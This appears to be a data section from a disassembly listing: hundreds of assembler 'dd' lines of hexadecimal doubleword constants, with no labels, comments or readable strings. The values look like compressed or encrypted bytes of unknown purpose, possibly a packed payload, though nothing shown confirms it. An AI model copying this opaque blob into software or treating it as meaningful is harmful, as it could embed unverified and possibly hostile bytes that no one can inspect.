		dd 0A0C23D87h, 398DD7E0h, 8A0E2F00h, 0C60B5D85h, 3CDF4D05h
		dd 0A3748600h, 81610A0Fh, 8CEC2D00h, 708DFB0Bh,	0E7420159h
		dd 809A974h, 40E2D935h,	904EB280h, 0E40BBEE8h, 90621A9Bh
		dd 0A8D900h, 31120C73h,	8EC48DF0h, 6B41407h, 0A7EE10EFh
		dd 0A7501F6Fh, 145D3251h, 0F4D3C94Fh, 0D4665203h, 89E08365h
		dd 0E1F0359h, 99D4FBEh,	2A569F00h, 0CE7C15h, 0D81A92DFh
		dd 8C91ECB4h, 0D9087F07h, 0C820C382h, 776C220h,	75FAF0Dh
		dd 43B330F0h, 4200A040h, 59C17761h, 15E5CFh, 10C467EDh
		dd 0C5751A56h, 0B0FDA01Fh, 20846200h, 987E6EFh,	804A2B8Bh
		dd 58A5D080h, 7700A775h, 449E7E1Fh, 35CB067h, 8024E5C2h
		dd 40E8B8BDh, 9100218Fh, 0CBE98E83h, 0F27FD3Dh,	0C7DABE2Fh
		dd 76FB51C0h, 0AE0CBDA6h, 10501F17h, 27AD00B6h,	0DC47F13Fh
		dd 980F1C01h, 4E496Ah, 0C076F28h, 41AF007Fh, 5D546997h
		dd 1E001288h, 0C4374E11h, 0E2A13EF1h, 0CF7F3871h, 566D1F09h
		dd 0CB65D021h, 37A84333h, 96C490FCh, 0EB54084Dh, 0CA1CC3E8h
		dd 0F9804C04h, 7E6DA69Bh, 0AA2A3D9Ch, 0A558BD83h, 0B4800D68h
		dd 562653ADh, 940050F7h, 0AFB53C46h, 0C74D184Fh, 1C44E806h
		dd 7B0AE203h, 0E81F02F2h, 9E1637h, 71361788h, 51E1CF60h
		dd 69864003h, 0F564E979h, 8C310480h, 6F051D5Ch,	0DA478081h
		dd 0EBA7FC03h, 5E7A6900h, 33B09B10h, 2F78387Eh,	3F499304h
		dd 0FD6490F0h, 64B07968h, 0CB483Eh, 0BA9AF310h,	26A03A4Fh
		dd 162874C6h, 0CF1000ADh, 0B588F721h, 0AF29320Eh, 355BE00Eh
		dd 0F072C97Bh, 3777004Ah, 0BDF361C8h, 1D4C42C3h, 184F307Ah
		dd 122D5848h, 40B38240h, 0A6D0B4ECh, 19012B80h,	1BEF7184h
		dd 29E0F0BBh, 2CAA00B5h, 5B4BC2DFh, 7F003064h, 0C9370171h
		dd 0EE8FDF4h, 0B3E6FAF2h, 0D8E319A0h, 0BB0084A1h, 0FCE95E4Ah
		dd 247BCE1Eh, 831C0644h, 8F05D970h, 8BF1828Bh, 0B1633011h
		dd 65467700h, 5D6C9168h, 61FD1E66h, 8021DEA4h, 78DB9E26h
		dd 7D7E80E5h, 974C4701h, 0B809E973h, 21FEFCh, 30FC4340h
		dd 0BD70C2AEh, 30E49048h, 804D11C0h, 6B8E2E1Ah,	9F1249h
		dd 60CCDD27h, 92013B98h, 745CD0B7h, 0D706CA4h, 0F9CB0085h
		dd 0C6C9CF4Ch, 3B02A532h, 75CEF55Ah, 3848487Fh,	4092BBh
		dd 0EFFC013Ch, 9B28A1C6h, 0E9537F07h, 92F073C1h, 261BF2ACh
		dd 5F83516h, 8076F634h,	29544C3Eh, 62BAEB00h, 53E1D1C6h
		dd 0CE3400E4h, 243E2EF5h, 7BFE8C07h, 6CA270E7h,	31676F00h
		dd 0A61C418h, 3407175h,	0C56DBB41h, 72F8D8C8h, 4B004F9Ch
		dd 5DFEE492h, 0FAC2A0Ch, 0ADD204B0h, 0C31DF3C0h, 5400FAEAh
		dd 7193122Bh, 473A13h, 674B14E8h, 87B52B1h, 0C2455300h
		dd 0A5BEE432h, 94EE02FEh, 97D93CB7h, 0BFC3FCE8h, 5AC77107h
		dd 74429A83h, 6028E0A8h, 0ED222882h, 479E0F6Ch,	0F020B6DBh
		dd 0D9CA5DF2h, 23445500h, 72869C1h, 0FE09Eh, 0E8298954h
		dd 27DB7BBCh, 50479A24h, 0BB8CC83h, 0D37CC014h,	0F6377416h
		dd 33949C82h, 2DE3D511h, 809B45F9h, 5C2518A1h, 1D678B88h
		dd 837E34h, 8E946F20h, 0E403B181h, 982793F3h, 2CAA056h
		dd 7E23003Fh, 0CE9AC2DEh, 0E5037747h, 9CCCBB13h, 7DD0B90Bh
		dd 6CC29080h, 588C0CEBh, 22587C60h, 24CAF97Eh, 87E80B92h
		dd 2947D984h, 0E56FA503h, 0DB790802h, 58091E29h, 0DD4B0008h
		dd 0CC89B49h, 220043EBh, 10E0DE0Fh, 75650Ah, 0A497546Eh
		dd 0B16F2CB0h, 96B7800h, 27510698h, 0BBBD00B7h,	0A5264B9Dh
		dd 83FAD9FAh, 0AF38E709h, 3D0A857Ah, 6371A040h,	7E919A9h
		dd 1FC3C2DCh, 16B4C0A5h, 0F100BAD7h, 0F8867F14h, 92DA11h
		dd 58D07044h, 0D999CAF0h, 0F4D06E61h, 5AF240DFh, 0D17C03A8h
		dd 75086CC4h, 0D986B1A0h, 1C6B8500h, 8F96A9BFh,	0BACA00DCh
		dd 0FF418DBh, 1D4C1E2Eh, 2FFC0EDDh, 0F0140A30h,	0DB8AA940h
		dd 64232A43h, 0E924008Ch, 31A2A8D7h, 99FEAA61h,	0A8099C3Bh
		dd 5970F8A6h, 9440104Bh, 0F6398940h, 0CE11C03Ah, 276C2A31h
		dd 0D3D73D00h, 772DBE64h, 3D3FE067h, 1F00F45Eh,	1B747C84h
		dd 0AE1DCA75h, 9000C939h, 6C2F4814h, 93E70086h,	409C30E1h
		dd 0F9C416DFh, 3094B41Eh, 4E7CCC80h, 13C177A9h,	3ED8446h
		dd 5ECD8CB8h, 59D3C900h, 0BE3525B8h, 0CF1BB8F6h, 73A08550h
		dd 7A2C21Ah, 8083BB3Ah,	2AAD1574h, 0EE99EC8h, 0FFF8AC03h
		dd 20E0E180h, 0A501362Eh, 9CFDDF88h, 899C781h, 0FFC521DCh
		dd 951CA488h, 6469E800h, 8E8BE366h, 0E0F1385Bh,	0C3EC0300h
		dd 9D051401h, 7F4676C0h, 0A0AD32h, 8A2A5E75h, 0D8FE88A8h
		dd 1CFBB1Ch, 5B90E083h,	4179F6h, 782B3EA8h, 60071F5Ch
		dd 21ED09CCh, 3EB002A1h, 951D22FBh, 0EC140FF5h,	29E6A0E7h
		dd 168B203h, 88A73628h,	88D818CFh, 360030C3h, 5BB12ADEh
		dd 0C44D8674h, 0D02FD58h, 0FBC729FBh, 0F817EEEh, 725A2DFEh
		dd 0AC87740h, 8A00D99Ch, 3F3D3432h, 7D1B89h, 2ECBEF6h
		dd 90D2AE2h, 0E5507E60h, 0F34382h, 296C4869h, 7AE37707h
		dd 5932FB1Dh, 80E16070h, 884C0098h, 0DD27CC19h,	8CCC461h
		dd 0A121E5h, 0FDFC4C90h, 57F697Dh, 0BC23AD00h, 0C3E39329h
		dd 0D25E0661h, 0C18C9725h, 8A02E2E0h, 0CD5B807Eh, 2A94803Dh
		dd 0C01AB16Dh, 4E438698h, 230028CCh, 166ACB50h,	0A79D2Ah
		dd 0B9154178h, 6B323C87h, 0BE2CC507h, 0AD40D266h, 6A73Eh
		dd 5D04393Ah, 0EA0C441h, 0DBE68000h, 0D7C7E891h, 18B1000Fh
		dd 0AF3E4E7Fh, 6A0052F6h, 2039B29Dh, 1DCE3FFh, 0F8059FABh
		dd 0F4853882h, 0A804407Ch, 4EEDE837h, 4FDF76C0h, 9ECC503Ch
		dd 45C4001Eh, 67F8E09Ah, 803F785h, 195E66A9h, 2A81A5B9h
		dd 46D1FF5Ah, 73C160h, 5391BB34h, 0F0121A6Ch, 832D5F1Ch
		dd 0C6DB18F0h, 5D301F5Eh, 0DFC80F6Dh, 524E9D03h, 1FF58BC0h
		dd 66283F60h, 0C5518544h, 80E30261h, 0B6C4E5Bh,	3D8C3Eh
		dd 96BB0159h, 6F5B574h,	0DE06974Fh, 0B902309Dh,	3D8D46F8h
		dd 0BE148056h, 188B885h, 75490682h, 818BC516h, 65F91378h
		dd 0D1A161C7h, 1AD38C1Ch, 4960C819h, 4C0F36C0h,	98F8646Dh
		dd 0D5E204Bh, 0C08161AFh, 0A10C87E1h, 80515C21h, 0ACC89310h
		dd 419D4900h, 73EB04F6h, 0CEF95C1Bh, 3B662060h,	0B50F39C7h
		dd 0E03A0F7Bh, 0B1B35F74h, 359324B2h, 0B1721845h, 0D800C71Bh
		dd 0B6DE887Ch, 744258C8h, 474A0C96h, 0D2514929h, 57310B65h
		dd 5EF04A80h, 0EC6500B8h, 7475B354h, 1E03BCC3h,	5941C743h
		dd 247822BBh, 0FEBAD91Eh, 51428A41h, 0A04362F6h, 288FFF5h
		dd 141BBEDBh, 0AAE09881h, 9F80FCB1h, 0BA253Bh, 786CB7B6h
		dd 6ACE1C0h, 0C6653E04h, 8D0A795Ah, 2458B12Dh, 7300FA11h
		dd 5D2E1C8h, 0D3301E04h, 793EC110h, 28670F8Eh, 92E1BB52h
		dd 477D0F2Dh, 9341C3C8h, 8796CBD1h, 48FA8910h, 0BC009575h
		dd 4EB8C2EEh, 0B1281863h, 0E14D5037h, 74782C02h, 0A057DE18h
		dd 210610D0h, 73CC09B3h, 4680BC9Dh, 0C425C794h,	0ED0D1A17h
		dd 46997707h, 0E72F44B0h, 18560C5Ch, 5780E1B4h,	0ACF07341h
		dd 0DD73DA0h, 78F8981h,	0F05C8B37h, 9E0010A4h, 0C99B6488h
		dd 220F23DFh, 0AEF06C02h
		dd 5C8A4524h, 76E08900h, 0CA4FC97h, 8CD90EB7h, 7A44F819h
		dd 0F473547Fh, 164FCB3h, 31126105h, 0F2B2F0E8h,	4469B885h
		dd 9084B1A0h, 0B02C17B8h, 0F8B7600Fh, 887800E0h, 60E175E7h
		dd 0C677894Bh, 0B3F894ECh, 1D0341E2h, 0DB7E1B0Bh, 6C8D80EAh
		dd 0B8FF28D2h, 114000E4h, 0C1D44ACBh, 0E49845F3h, 12CDF200h
		dd 255D5A2h, 8A2B00DFh,	45D94A5Fh, 0E018B764h, 5B28A59Eh
		dd 0E9C80021h, 1ABC4BD1h, 0EA00A404h, 0FECAA650h, 39B3C19Ch
		dd 0B6B028F6h, 0E764FB30h, 55C5740Ch, 2668F3h, 1590F688h
		dd 321EBBF8h, 38A2D230h, 1B7E9978h, 108076CAh, 80D6CBB9h
		dd 0A87D3B79h, 0BEE4F4h, 8E58E737h, 9FB0E8EAh, 0D42A4D00h
		dd 73682E3Dh, 5F813ECAh, 0AC6E07F7h, 0BF41A1CEh, 916B5180h
		dd 5618D8A6h, 0AB198994h, 0D10D045Dh, 0C0DC958Ah, 0F42B52BBh
		dd 2E023Eh, 2692586Bh, 330DBFEh, 3224EE65h, 0A004A1C2h
		dd 0A6447305h, 0FA54CD01h, 0B018D396h, 9EB9DACBh, 0FBA60105h
		dd 0E05E403Dh, 0C01980AEh, 0BDFF91D5h, 0C479012Ch, 0CAC3D2A7h
		dd 0F12180D7h, 0BA8CE544h, 0B09A0090h, 0C58AE832h, 0B10FB20Fh
		dd 604F8FAEh, 0AFB36572h, 0B447F5Dh, 2162F278h,	9DCC5300h
		dd 8200A089h, 0CED7BDD4h, 321F49h, 3ADF8F39h, 0DE22A886h
		dd 9E046C0Eh, 0C94F03D5h, 8C809FA9h, 0A19505h, 30BA996Ah
		dd 0BCB837Eh, 8DF71D00h, 0B67B60B9h, 4A48C35Ch,	69A09B0Eh
		dd 5300DE8Fh, 561D3602h, 6077C3h, 0A2074505h, 913BCBB9h
		dd 62402A67h, 789949F0h, 7EBC7BBAh, 0A5DF805Bh,	0DCFD1300h
		dd 0E2D902D0h, 0B1686056h, 6658CDE8h, 60900800h, 75C4FA1Ah
		dd 651300F8h, 76D4CBAEh, 0C7008215h, 72F45597h,	95D10Eh
		dd 5DE411C9h, 2EE06317h, 0EC0C9306h, 0CF184AC5h, 0C06087B9h
		dd 81BB1D07h, 0BF9D8B0Ch, 0CB9D0F6h, 0BCFC1B2h,	0E44061C0h
		dd 803500D2h, 39525159h, 5076A2E2h, 55DBDE1Ch, 989B037Eh
		dd 0E0A54526h, 0DE524999h, 57D60320h, 31009CBEh, 71F8435Ch
		dd 534B2Ah, 158B5A47h, 0D8DA280Dh, 37F79400h, 0C484BFABh
		dd 0B79200EDh, 5B8702A1h, 0DCE46208h, 0CD0E85E0h, 9FEDF3BEh
		dd 22616A01h, 144B9EC2h, 37018400h, 18A8944Bh, 80282953h
		dd 2B01B613h, 53F7002Ch, 7842501Bh, 3F001939h, 0D9F1E11Dh
		dd 0E26014B6h, 29C32967h, 0CDC5E014h, 0AC38A895h, 74522998h
		dd 29C45060h, 1DF42C63h, 874D0004h, 0A8E4AEF8h,	2C762B01h
		dd 0D96BA2FEh, 8D00344Eh, 76EDB5F2h, 70D1CC49h,	5D1A8020h
		dd 53BBA1EAh, 0A89F44F4h, 9EA415D4h, 4C04E0CFh,	1A79B234h
		dd 5E041510h, 40B27E18h, 9AFD10h, 9F9BAD46h, 5089E9E7h
		dd 0BFEA3E00h, 987E57AEh, 282563B7h, 8D45DF8h, 0C14A42BBh
		dd 23BC8C22h, 512173E0h, 0FB6B084Fh, 3E14A094h,	84E34458h
		dd 0A9D95B10h, 0EF0C7421h, 88F779AAh, 8D002094h, 743F46B0h
		dd 973C12h, 0CF1963C4h,	0AC60C17Eh, 88863960h, 1EC812D1h
		dd 80A39992h, 85C06544h, 4F01E87Eh, 900515DDh, 0F120279Eh
		dd 2B5300B8h, 8720EE63h, 5DE6077Ch, 2996900h, 0CB58E09Ch
		dd 49F5008Fh, 0B9133CA9h, 0C400186Dh, 7DD9EFE6h, 0EB0F20D3h
		dd 0E060570h, 751BD1B5h, 6BE710C0h, 0BE00FEF4h,	0D3136817h
		dd 9FDD02h, 0F541C8ACh,	0A227B5F1h, 3FA3FC1Eh, 14583540h
		dd 0EC13AEh, 48769192h,	0BCBF8A03h, 3AF8E4ABh, 31B89818h
		dd 0F1DC9F01h, 71FF3D6Dh, 1923CCh, 0A4B0365Eh, 0F8D44B84h
		dd 0B4E89FB8h, 867351FAh, 0C7C9D309h, 0E5080246h, 0A6C8C06Bh
		dd 39F03Eh, 0BEEE244Dh,	88F485ADh, 7E7BE8FBh, 342D0200h
		dd 0F63A3CCDh, 0D6F71DFCh, 50994F42h, 0CBD09040h, 0E700540Ah
		dd 9F446E5Eh, 28B1FDh, 15E9C7DCh, 2D7D3749h, 0BC701800h
		dd 0C4A49984h, 84D45096h, 0C7F50144h, 70236CFAh, 4717F41Dh
		dd 4B011E00h, 2DC0E7FFh, 1427003Eh, 0FD424FD8h,	30C0CD66h
		dd 46AE5590h, 0EED60089h, 0F84C736Dh, 29001C86h, 44F5FD4Dh
		dd 464F1Bh, 0C7FBC293h,	0CC8B5292h, 0D401F200h,	98D2DFD5h
		dd 8D7A49h, 2B246397h, 0D7C444Fh, 26DC4E00h, 0AA35E8D5h
		dd 80570AEFh, 0C4B98Bh,	65A39DC8h, 0D3004001h, 46D28527h
		dd 0AE6BF0h, 2C0FE88Eh,	539F0B11h, 8224071Eh, 5C1D9900h
		dd 0E9C528h, 2772FEE0h,	0E20CB78Fh, 0B17DE300h,	0EC490EA6h
		dd 0B06A0095h, 58614B2h, 0C51F2334h, 56006CFDh,	0F808A3EBh
		dd 0A8F50048h, 100F2CEEh, 2490D5D3h, 0A7D74903h, 0E3D82EA5h
		dd 79D006AEh, 10D508B6h, 7365FA00h, 229FB8Ah, 0FD77C3h
		dd 88DE182h, 0DE852049h, 7D3EA00h, 216D7EB3h, 524B39ACh
		dd 14C48A4h, 0C4C66F70h, 1528348Dh, 8953C000h, 3ED69957h
		dd 34EE0337h, 0D3C1793Fh, 5BC5D0D7h, 0B3A8BB1h,	38BF1C5Dh
		dd 0D5692870h, 2FE30073h, 0F228EF36h, 0A60145BAh, 3004FEC8h
		dd 31CCC535h, 0C66D03F4h, 0A01B62CDh, 0D55ACBD8h, 4FDB0600h
		dd 7B3FC17Fh, 0B8FC00FAh, 38ED9E8Ah, 0CD00D5E0h, 377349D4h
		dd 3B910B78h, 0E880B05Eh, 99E50AB6h, 0A4099879h, 133F3A22h
		dd 0DDB0B870h, 0B8C600F9h, 87C3BB28h, 45481377h, 2538BCh
		dd 9B7F2696h, 3BA64B9Ah, 0E782D8C3h, 0B0B7F74Fh, 0F4AEAFC1h
		dd 4A0C47BEh, 0D8F5D00Ah, 0F216EA9Ch, 514400E4h, 507A21FBh
		dd 0F000B75Bh, 0CBDBE7C6h, 6DBB86h, 265F1CF2h, 3408ED37h
		dd 741A3A00h, 6C1FF763h, 44982Fh, 0AA70F490h, 0AD2C9C7Fh
		dd 53788100h, 864123DAh, 0E3C00051h, 0BAEECD8Bh, 0C401631Fh
		dd 96C7ED66h, 35ECD5A1h, 0D34F0BE1h, 6A8022EFh,	0D9CC9F8Eh
		dd 0AE0AF500h, 0D837706Fh, 3CA44C1Bh, 7A5C8B11h, 5DAFEE14h
		dd 0C80200FCh, 0A9308947h, 52CA0E75h, 1204F196h, 9248C0C4h
		dd 6900B43Fh, 0A6F5BD25h, 0F8DA130h, 0ECBFDDF6h, 0F22C2480h
		dd 297E7079h, 66E6C300h, 0F3A8AC9Ch, 26F00016h,	0B4C4203h
		dd 0AD004185h, 9380AB96h, 0EA6BE007h, 0D18D0FC5h, 1181639Bh
		dd 0DB22A94Ah, 0BAFFFCD0h, 0CB7564F2h, 0D8391600h, 0CC921342h
		dd 0CF6F7DE4h, 0E3277238h, 0AAB7D027h, 0E01E3EECh, 8C401228h
		dd 0FA031A6Bh, 0D3DC0252h, 0B8C4B743h, 0D0344AE0h, 6E5900B5h
		dd 1FF43086h, 80E6164Ah, 0E99746A1h, 110B1785h,	1BCE60h
		dd 2823B3B4h, 1F6238BEh, 0E06F5E80h, 3FDA60B8h,	0AB923900h
		dd 681E70F7h, 0A0797253h, 0BE9781h, 8B90606Eh, 0A1724186h
		dd 88280700h, 97104991h, 4479F7h, 2A8B0DB1h, 0F0D3C767h
		dd 0CF11B000h, 25D946E8h, 0D2750088h, 279A219Bh, 163A697Eh
		dd 10CB8002h, 2EF798CFh, 0FC174E0Ch, 0B78400D5h, 7B0FBF2Dh
		dd 738ACFA7h, 1EC0CAEFh, 8F4BDCF5h, 89C48500h, 0F09A2609h
		dd 0B4EA20h, 0BD219C04h, 37AF5152h, 0DACD5800h,	0ABA9C3D6h
		dd 73EF4F1h, 19BDF2B3h,	38D8002Ah, 5024B46Bh, 7807F9BCh
		dd 8389DDFEh, 0EF1B53EFh, 8559274Fh, 0CF32000Fh, 39C6F533h
		dd 0F600D87Eh, 6944DE6Eh, 0B139E214h, 0D32200C7h, 1694BA88h
		dd 90560070h, 0AD8966D7h, 0B2026E80h, 9B5593B9h, 0F780E053h
		dd 1F3B1E74h, 0FB328117h, 0DCD28DBDh, 8B4C99D5h, 0BC51002Ah
		dd 0F47EAD2Dh, 443E0ABBh, 0A6F816A3h, 0CFD300FFh, 93173966h
		dd 901FE3FCh, 3D22E8h, 0B91842C1h, 0DAA978h, 0C07B837Eh
		dd 0BE337A9Ch, 0C503A090h, 0A410F665h, 46ABD8FBh, 0DFAE0023h
		dd 16D7AF0Ch, 74009751h, 0E71E300Eh, 5716BEBh, 0B64FDE8Fh
		dd 4418070h, 0E001F21Ah
		dd 3BB1DA46h, 2031F756h, 18A56BD4h, 0E6EE53BBh,	1D00DB52h
		dd 9BFC55FAh, 52F5CCBh,	5EE10C83h, 2933806Bh, 0E7007A50h
		dd 9567886Fh, 0F82778h,	0E6AEE86Ch, 7460015Ch, 0DFB3Fh
		dd 4B4C6DF0h, 8DB7EDh, 6617A1CEh, 9C49C49Bh, 5FAD7C00h
		dd 9F4FD1A4h, 693203CAh, 0DEAAEC8Bh, 3420D6F8h,	0A2DB3B00h
		dd 494D88B3h, 0AD8A009Ah, 6BC221E7h, 0D10036D2h, 313F0F06h
		dd 0A42B2979h, 73E500B4h, 1D0AE939h, 3158A099h,	5DD50AD1h
		dd 0FF00E81Eh, 24A703D7h, 0C37A3D9Dh, 7F1A6800h, 0DA0C61FDh
		dd 0C4D90E00h, 3391BA92h, 67B10EC6h, 0CE003F3Bh, 0FB41DD88h
		dd 50AE7000h, 0C030DBDEh, 0F5EE8908h, 903D03DAh, 0B0C74FADh
		dd 14275C0h, 64D03520h,	7055B2B1h, 7C674397h, 20BB1378h
		dd 707430D4h, 19CC03CDh, 0C67E40EDh, 0DC6E1806h, 8041E10Dh
		dd 75A54BC4h, 3D10C0AEh, 0CEE224Dh, 0EBCCF105h,	0AA001E8Dh
		dd 5C4A368Bh, 0CE2E00AFh, 40719113h, 5800F718h,	0B8D644B7h
		dd 3BD839Ch, 0A38E778h,	8FD06D29h, 0F869268Bh, 0A62000A8h
		dd 1EA9478Dh, 4B5F4F15h, 0B581D135h, 20C1340Eh,	0E707A2E8h
		dd 9553BFF9h, 0DF2576E0h, 297A2897h, 4A572AB8h,	12AB00B0h
		dd 33407820h, 2300B4FAh, 47CBB26Bh, 0D0AE3h, 64DA94A9h
		dd 0A2B7F55Ah, 15501B00h, 6EFB36Fh, 0ECE10263h,	0EA460325h
		dd 0E286B883h, 78B6008Dh, 0FB6AA41Fh, 0BA0A5800h, 59830721h
		dd 87F200AEh, 247E6B53h, 0F5E408EBh, 0A9013Dh, 6ADBB248h
		dd 17D0712Fh, 1CA02329h, 79E8C184h, 0CC85EF97h,	110073C4h
		dd 0BB2733BFh, 767D726h, 0C859B313h, 1746E0C2h,	4924F3BCh
		dd 9000D853h, 27EE1839h, 48E300B1h, 251F5C1Ah, 82020F38h
		dd 64614B3Ch, 497040EFh, 6D28002Dh, 0E60B804Ah,	0E700C53Fh
		dd 0F59B3C8Bh, 2D05C1h,	0AA270D71h, 494784F7h, 2507330Eh
		dd 0A9C1C029h, 0E6A6370h, 0C465D597h, 16CFDC60h, 0E5E8F9F4h
		dd 50276E03h, 0BF85A6B3h, 6F3E5EC0h, 4D010073h,	1C865206h
		dd 6A14C653h, 8858E8h, 0B31F2EEAh, 99D27Ah, 35BEA247h
		dd 7B284A8Ch, 6AA5E0C0h, 29F3D3h, 0CF877A14h, 8315FB67h
		dd 0AD795802h, 40DB5C7Dh, 0FE2B354Ch, 0F075009Fh, 321F5046h
		dd 721CFCD5h, 330D24D6h, 0C3F450ADh, 1C2D3B2Eh,	890084C9h
		dd 0D6876A7Fh, 0DA0BCE0Bh, 809F234Bh, 0B0378628h, 3DB98C5h
		dd 0F7A1EF7Ah, 4DD01AF0h, 8172A5CCh, 59B35330h,	48D909h
		dd 674070EFh, 421F559Ah, 96C35A02h, 0C06B34E9h,	0C027C60Ch
		dd 0EB854B30h, 0ED12B2A2h, 3062582h, 7011F71Ch,	0C4687FE6h
		dd 0C4C3F881h, 0BE7C8354h, 0D5D490CCh, 0F7028093h, 3479668Ch
		dd 77CFC030h, 0FE600032h, 39DF9D22h, 6B018A27h,	0F8C26CFAh
		dd 9C0BB85h, 0DB3001Ch,	2A5A71D5h, 2B1E14B4h, 0E6405C16h
		dd 0FAF0E0Bh, 0DD040C94h, 36E1AE4Ah, 78DE40h, 3ED7A609h
		dd 8BE21137h, 68222B24h, 0B85D4F00h, 4E640Bh, 0DD95FE9Bh
		dd 8C6FEB5Fh, 0B90FF679h, 2042F902h, 0F8A15551h, 0BC7B04B8h
		dd 1505D12h, 4496EF35h,	30EEE074h, 26185608h, 3824CDE3h
		dd 82844C5h, 7F53C00h, 0C8774861h, 39DEA5Dh, 0FBC6EFC4h
		dd 5100A937h, 149E2901h, 7B1B0F4Ah, 55660C5Bh, 0CFB01EABh
		dd 84CDDA00h, 40791618h, 0E9F21CA6h, 1BE5C1C0h,	3CAF731Ch
		dd 3A0F00DCh, 120CF1C5h, 0FA1C923Fh, 3EEB5h, 759C81C0h
		dd 0B99DB8D8h, 86B4423Bh, 0F9C7C479h, 1DA703FEh, 7424780Eh
		dd 0A6184188h, 0F34D3014h, 21953B7Ch, 0EA640082h, 98A1D094h
		dd 6D005896h, 18A15BCh,	812F60F0h, 0CFA1B069h, 0E2A9DD0Ch
		dd 0F49870BEh, 0C80F015Ch, 3BB2C0FBh, 3FA0246Dh, 38510100h
		dd 84465463h, 0E75D04CFh, 428A4C44h, 82C63779h,	20FCE9C8h
		dd 0C4C30F3Ah, 5C08087Bh, 0FD14AE8h, 0D0483A5h,	19D0C389h
		dd 73A318C8h, 1E7FBD00h, 21EE94CBh, 0B4230082h,	8198C6A6h
		dd 400263Bh, 0F1D7A92Fh, 19686Dh, 0DF38DBA5h, 5FB735D5h
		dd 8AC7812Ch, 17DC0600h, 76BD942h, 0FCF160Ch, 7F3940AEh
		dd 4305B8EDh, 9D593D8h,	0B54BC480h, 8D9B18A5h, 4A354110h
		dd 0EDFE3402h, 403A0B05h, 1219E570h, 411A5BD3h,	47DF8B68h
		dd 2810D8F5h, 3A622B00h, 0D1E01E9Eh, 4880F107h,	6A67083Dh
		dd 0F864B640h, 56C0D771h, 1BA9B8B1h, 5887CC44h,	1CBC81ABh
		dd 46BB240h, 982A2857h,	214630A6h, 2210C5C0h, 1F0DC52h
		dd 556BBA5Ah, 2E20079Ch, 0D7110062h, 6DC519EBh,	92005E24h
		dd 9E17B34Ch, 22A8DE1h,	2FD54F2Dh, 0C40C60Ch, 820385B9h
		dd 0F9BC813h, 11A6986Dh, 0E5410ECEh, 7F805B61h,	196BE2E9h
		dd 0EBF52D02h, 0C05AEA23h, 1C0E9FA4h, 4CD3D1F1h, 7A107F0Ah
		dd 54BD000h, 6B11545h, 0E08103E9h, 588EA524h, 87F74CD8h
		dd 0AF647500h, 760CB455h, 0CDDD121Fh, 1760803Ah, 0C200DA0Ah
		dd 60D16ABCh, 12F28239h, 0C0E36F37h, 4DA206B4h,	54DFC20Ch
		dd 3EBC021Ah, 10836DF6h, 0AE492F52h, 0B3A11890h, 86B8E407h
		dd 0A3BA257Fh, 0E732A200h, 9698EAh, 903C4E71h, 1135A9A6h
		dd 0E85338h, 61575522h,	0E033561Ch, 3DBD2CF9h, 0BF9202C6h
		dd 5C40FB09h, 0B513D64Dh, 0D8002B34h, 2768795Eh, 842E2C9Fh
		dd 0B7E88028h, 1054EE24h, 0FA9E4601h, 6C67A51Bh, 7F8474h
		dd 9F21BB8Bh, 0E7CBC3BEh, 0EBF60600h, 3F0C3AD2h, 895000Ah
		dd 9EE67010h, 2890DB7Ah, 0D9601E00h, 48F98B5Bh,	0F7290042h
		dd 8AE62807h, 0C900CB5Fh, 0B1C2300Ah, 30F7F79h,	8E4C7442h
		dd 6DD82BD4h, 0E1007CCFh, 55114F04h, 3BB7535Ch,	27DC8E66h
		dd 62163700h, 0DB60247h, 0E63AA401h, 0CD925DBCh, 5C2534C8h
		dd 3100E428h, 0C4453359h, 0B801D738h, 866E1C5Dh, 783491B2h
		dd 5D613D5h, 993414C4h,	0C076901Eh, 884C3884h, 410287CEh
		dd 0F781B93h, 0F848CB8Bh, 0AEA553h, 73D9C37h, 0E1DB3E7Eh
		dd 4212D700h, 13D069E7h, 0C7EF0092h, 630D79EAh,	0A0001889h
		dd 0B080217h, 90256058h, 8FEC30C0h, 1582E2D0h, 0E5000AEAh
		dd 9D4E3A28h, 0E754FCh,	0BB53B81Eh, 75C7DD62h, 5DA4DB00h
		dd 0BE0E1A9Ah, 6C6D01FCh, 9643249Dh, 1E4EC872h,	9F017E00h
		dd 0FB77E62Fh, 0A46A00C5h, 0B1FDD5ACh, 414C102Bh, 0AD47004Fh
		dd 28CC38DEh, 16207C1h,	50CFB555h, 0EB50A44Ch, 8EEA6B00h
		dd 0A3A5CB67h, 0EFE10079h, 7591C807h, 0AD00E8EEh, 0D92805BAh
		dd 0F29693Ah, 8B40DF50h, 157AAA23h, 20381FE8h, 816F300h
		dd 4B1C031h, 0A4575072h, 4F103A1Ah, 80520372h, 1122A22Ch
		dd 0A1A04DD8h, 2FAE141Ch, 7CDBB782h, 6EEAE132h,	36DFAF0h
		dd 0F00F447Eh, 5288B4DCh, 0E20EC697h, 60510CA5h, 278BD121h
		dd 4AD40FFAh, 0E1246D26h, 82E8D020h, 8E00CB43h,	12A04692h
		dd 0A7B704h, 56DBD1BDh,	0B3DA8154h, 0EF731E00h,	6BA59980h
		dd 0E2E601E0h, 60CDF82Ch, 8E0424DEh, 14E814Ch, 6F4AF238h
		dd 3EC3FAFh, 187B041h, 2B20E01Ah, 30555C05h, 2F00B8A8h
		dd 0D14115C1h, 20151E7h, 6B7D7FABh, 8CE3BBFEh, 80BAE4C0h
		dd 0F100C6F0h, 0E692AEDCh, 3EACEh, 66BD03Dh, 0EE8ADE49h
		dd 4D122407h, 0E5643A91h, 0CF0188A8h, 0D8F853C0h, 70FAC11Fh
		dd 0CC17819Dh, 0D493AF1Ch, 91C9E017h, 5B733EEFh, 802E07C8h
		dd 29800BCh, 0F7901D86h, 0A009D0EBh, 73933900h,	38C03C3Dh
		dd 0C834E5E1h, 0A6701F06h, 0C56C8017h, 0F8751B63h, 1C622A01h
		dd 0BFAFA041h, 1CF0BAE0h
		dd 0F2D46Dh, 592C4384h,	0DB004DDDh, 0A128D51Bh,	0F7EDAABh
		dd 6BF5C9CAh, 735E01C0h, 0B100A537h, 1EBD81FEh,	96F3A0h
		dd 5CC82CA1h, 71021324h, 5B56FD00h, 390AACD7h, 6771DCh
		dd 943A0506h, 0A615D445h, 1375A4F6h, 3601FC78h,	1E4B44F1h
		dd 0B480DE9Dh, 0B0BDCE19h, 5EECC808h, 1612A572h, 1400502Bh
		dd 8FCBBA27h, 0C165004Ch, 0E272EDB0h, 53007F07h, 369BC5D4h
		dd 0F31AD3h, 754A4B8Fh,	5827ECEAh, 82F9F604h, 0B8D0993Fh
		dd 1354A3B1h, 2420B89h,	5532D6F0h, 9F1A813h, 0A9392F4Eh
